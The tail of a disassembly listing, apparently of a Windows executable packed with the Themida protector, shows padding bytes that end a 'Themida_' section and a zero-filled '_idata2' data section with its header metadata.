		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллл',0
		align 400h
Themida_	ends

; Section 5. (virtual address 001D6000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001D6000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5D6000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start